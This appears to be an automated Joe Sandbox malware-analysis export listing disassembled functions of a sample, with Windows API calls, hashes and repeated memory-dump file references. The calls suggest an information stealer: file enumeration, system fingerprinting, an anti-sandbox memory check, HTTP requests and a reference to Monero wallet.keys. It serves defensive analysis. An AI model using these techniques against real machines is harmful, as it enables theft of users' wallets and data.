Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 4a2f00e84b5a733e3a4a5b52bb67bfb064a6a55a754b1c8b0e0f01832f5b579e
Instruction ID: 16b5701bbf437ed835ccdd4566fb8a89a6181b8be6f36c8aa2151cff3b33d117
Opcode Fuzzy Hash: 4a2f00e84b5a733e3a4a5b52bb67bfb064a6a55a754b1c8b0e0f01832f5b579e
Instruction Fuzzy Hash: 81112170910208F7DB14FF64DD56EED73B8AF50340F808268F90A4A5D2EF386B05CA91

Function 00704F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00708DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00708E0B

lstrcat.KERNEL32(?,00000000), ref: 00704F7A
lstrcat.KERNEL32(?,00711070), ref: 00704F97
lstrcat.KERNEL32(?,01239038), ref: 00704FAB
lstrcat.KERNEL32(?,00711074), ref: 00704FBD

Part of subcall function 00704910: wsprintfA.USER32 ref: 0070492C
Part of subcall function 00704910: FindFirstFileA.KERNEL32(?,?), ref: 00704943

Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,00710FDC), ref: 00704971
Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,00710FE0), ref: 00704987
Part of subcall function 00704910: FindNextFileA.KERNEL32(000000FF,?), ref: 00704B7D
Part of subcall function 00704910: FindClose.KERNEL32(000000FF), ref: 00704B92

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 2bc0be9eac327a7fa8fa9a4cad490f25b4aebfa551add02a59fac09caf30044b
Instruction ID: 6bdfbf5481a0d2434617a440d45e6d08de616418bf0301505834b152c31f25ed
Opcode Fuzzy Hash: 2bc0be9eac327a7fa8fa9a4cad490f25b4aebfa551add02a59fac09caf30044b
Instruction Fuzzy Hash: 0621CBB6914208E7C754F770DC46EED337CAB54300F404658B6C9961C1EE79AAC88F92

Function 00700740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01238FE8), ref: 0070079A
StrCmpCA.SHLWAPI(00000000,01238FB8), ref: 00700866
StrCmpCA.SHLWAPI(00000000,01238F58), ref: 0070099D

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 332cfb36b6e8059dd707b1ba915065700b62039c0c5a36e44e0d2b8fb541c402
Instruction ID: 62b7165f13fe36aaf88f2b2004daae2dfbe56c3ab7ebd22ad687770521b64324
Opcode Fuzzy Hash: 332cfb36b6e8059dd707b1ba915065700b62039c0c5a36e44e0d2b8fb541c402
Instruction Fuzzy Hash: 11914675B10208EFCB18EF64D995BED77B6BF95300F50C519E80A9F281DA34AA05CB92

Function 00700765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01238FE8), ref: 0070079A
StrCmpCA.SHLWAPI(00000000,01238FB8), ref: 00700866
StrCmpCA.SHLWAPI(00000000,01238F58), ref: 0070099D

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 7952a27b586ef93709777a4951ff31ce0fd8f8e3385d5b82b307e4d8ca743a84
Instruction ID: dabff9b895ecac6a3ceee4ccd5c9e4e4ccd718f1961c7c748ae04b906c3fd3c0
Opcode Fuzzy Hash: 7952a27b586ef93709777a4951ff31ce0fd8f8e3385d5b82b307e4d8ca743a84
Instruction Fuzzy Hash: F1816575B10208EFCB18EF64D995AEDB7B6FF94300F50C519E8099F281DB34AA05CB82

Function 007078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707910
RtlAllocateHeap.NTDLL(00000000), ref: 00707917
GetComputerNameA.KERNEL32(?,00000104), ref: 0070792F

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: ffbd09dc858013b45d62831037859b8b16bd1ef499a768564839802edb6eb979
Instruction ID: 43e36ef97819a0c5ca306cc8a0f5f9b618e6fb5db2d7cbab3bc6ef024d4ea41c
Opcode Fuzzy Hash: ffbd09dc858013b45d62831037859b8b16bd1ef499a768564839802edb6eb979
Instruction Fuzzy Hash: 950186B1918204EBC714DF98DD45BAABBF8FB04B21F104219F545E32C0C3786904CBA1

Function 6C5D3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5D3095

Part of subcall function 6C5D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
Part of subcall function 6C5D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
Part of subcall function 6C5D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
Part of subcall function 6C5D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
Part of subcall function 6C5D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
Part of subcall function 6C5D35A0: __aulldiv.LIBCMT ref: 6C5D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D309F

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5D30BE

Part of subcall function 6C5D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5D3127
Part of subcall function 6C5D30F0: __aulldiv.LIBCMT ref: 6C5D3140

Part of subcall function 6C60AB2A: __onexit.LIBCMT ref: 6C60AB30

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction ID: e0fec6d3bf2052893f8e5edae1787bd2b5a156a3c28f95b416bc85970485bd60
Opcode Fuzzy Hash: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction Fuzzy Hash: 7CF0F922E2074896CB14DF358DC11E67370AFAB114FA15319E88463591FB2065D883CF

Function 00709470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00709484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007094A5
CloseHandle.KERNEL32(00000000), ref: 007094AF

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: b2ca68a887ad639e16b1909cfbda1cbc40c3eea1818265e96ba32bbf3047780f
Instruction ID: a960f5cf2d27f84e397ad59ea0506b473f0cf9bcaa8efc50ff4daaa3e7384f5f
Opcode Fuzzy Hash: b2ca68a887ad639e16b1909cfbda1cbc40c3eea1818265e96ba32bbf3047780f
Instruction Fuzzy Hash: A4F03A7490020CFBDB04DFA4DC4AFEA77B8EB08300F004598BB0997290D6B46A85DB91

Function 006F1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006F112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 006F1132
ExitProcess.KERNEL32 ref: 006F1143

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 2baa160de047e0fce0d9fec46a2f3622bf86d0549baab9eaf1b0fd79350e2212
Instruction ID: a7e95f2c05c85e37f9b436c1fc892dce8354c424b58ac35ca14556df6d2b8049
Opcode Fuzzy Hash: 2baa160de047e0fce0d9fec46a2f3622bf86d0549baab9eaf1b0fd79350e2212
Instruction Fuzzy Hash: 3AE01D70D5934CFFE750ABA0DC0EB5D7678EB05B45F104054F7097A1D0DAB52640AE9E

Function 00701A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 00707500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00707542
Part of subcall function 00707500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0070757F
Part of subcall function 00707500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707603
Part of subcall function 00707500: RtlAllocateHeap.NTDLL(00000000), ref: 0070760A

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 00707690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007076A4
Part of subcall function 00707690: RtlAllocateHeap.NTDLL(00000000), ref: 007076AB

Part of subcall function 007077C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0070DBC0,000000FF,?,00701C99,00000000,?,0123D840,00000000,?), ref: 007077F2
Part of subcall function 007077C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0070DBC0,000000FF,?,00701C99,00000000,?,0123D840,00000000,?), ref: 007077F9

Part of subcall function 00707850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006F11B7), ref: 00707880
